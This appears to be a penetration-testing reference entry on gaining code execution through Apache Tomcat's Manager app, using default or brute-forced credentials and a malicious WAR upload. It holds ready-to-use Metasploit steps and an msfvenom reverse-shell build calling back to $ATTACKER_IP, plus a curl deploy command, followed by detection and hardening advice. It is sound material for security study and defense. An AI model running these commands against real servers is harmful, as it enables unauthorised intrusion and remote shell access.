Tomcat Manager WAR Upload RCE
Apache Tomcat ships a bundled “Manager” web application (default path /manager/html) that lets administrators deploy, undeploy, and reload web applications at runtime. If an attacker obtains valid manager credentials — via default passwords (tomcat:tomcat, admin:admin), brute force, or credential reuse — the deploy function becomes an authenticated remote code execution primitive: upload a malicious .war (Web Application Archive) containing a JSP payload, and Tomcat unpacks and executes it under the Tomcat service account, which on many Linux installs runs as root.
This is not a software vulnerability per se — it is abuse of an intended administrative feature, which is why no CVE covers “Tomcat X.Y is vulnerable to WAR upload.” Exposure is a deployment/misconfiguration issue: the manager app should be access-restricted, and manager accounts should never use guessable passwords. MITRE T1505.003 — Web Shell territory once the JSP lands.
Attack preconditions
- Manager app reachable (fingerprint via nmap
http-enumreporting/manager/html, or content brute-forcing with gobuster/dirbuster; commonly on port 8080 or a non-standard port). - Valid credentials for a user with the
manager-gui(Tomcat 7+),manager-script, ormanager-jmxrole — defined intomcat-users.xml. Brute-forceable with hydra (http-getagainst/manager/html) or Metasploit’sauxiliary/scanner/http/tomcat_mgr_login. - An architecture-matched payload (see targets below).
Metasploit: tomcat_mgr_upload
exploit/multi/http/tomcat_mgr_upload automates the whole chain: authenticate, upload a WAR via HTTP PUT to the manager’s upload endpoint, trigger the JSP inside, then (usually) clean up by undeploying.
use exploit/multi/http/tomcat_mgr_upload
set HttpUsername $USER
set HttpPassword $PASS
set RHOSTS $TARGET_IP
set RPORT $TOMCAT_PORT
set LHOST $ATTACKER_IP
set target 1 # see below
exploitTarget selection matters: target 0 is 32-bit x86 native and will fail against the common 64-bit Linux Tomcat build. Use the Java Universal target (platform-independent JSP payload) when the server’s architecture is unknown or 64-bit — the manager’s “Server Information” page (/manager/html server status) discloses the OS/architecture. The sibling module tomcat_mgr_deploy uses the /manager/text interface (POST deploy command) and is the right choice against Tomcat 8+.
The result is a meterpreter session as the Tomcat service account.
Manual variant
Generate a JSP WAR with msfvenom, then upload it through the manager’s “Select WAR file to upload” form (or curl the /manager/text/deploy?path=/... endpoint with a PUT):
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4444 -f war -o shell.war
curl --upload-file shell.war -u "$USER:$PASS" \
"http://$TARGET:$PORT/manager/text/deploy?path=/shell"
# Trigger: browse to /shell/shell.jsp; catch with a listenerDetection & defense
- WAR deploy events are logged to Tomcat’s
localhost_access_log(PUT to/manager/.../deploy) andcatalina.out— alert on unexpected deploys, especially from non-admin IPs. - Restrict the manager app to localhost or an admin network (RemoteAddrValve in
context.xml), disable it entirely in production, and enforce strong unique passwords intomcat-users.xml. - Run Tomcat as an unprivileged user so WAR RCE is not instant root.
Related: meterpreter, msfvenom, hydra, gobuster, dirbuster, nikto, nmap.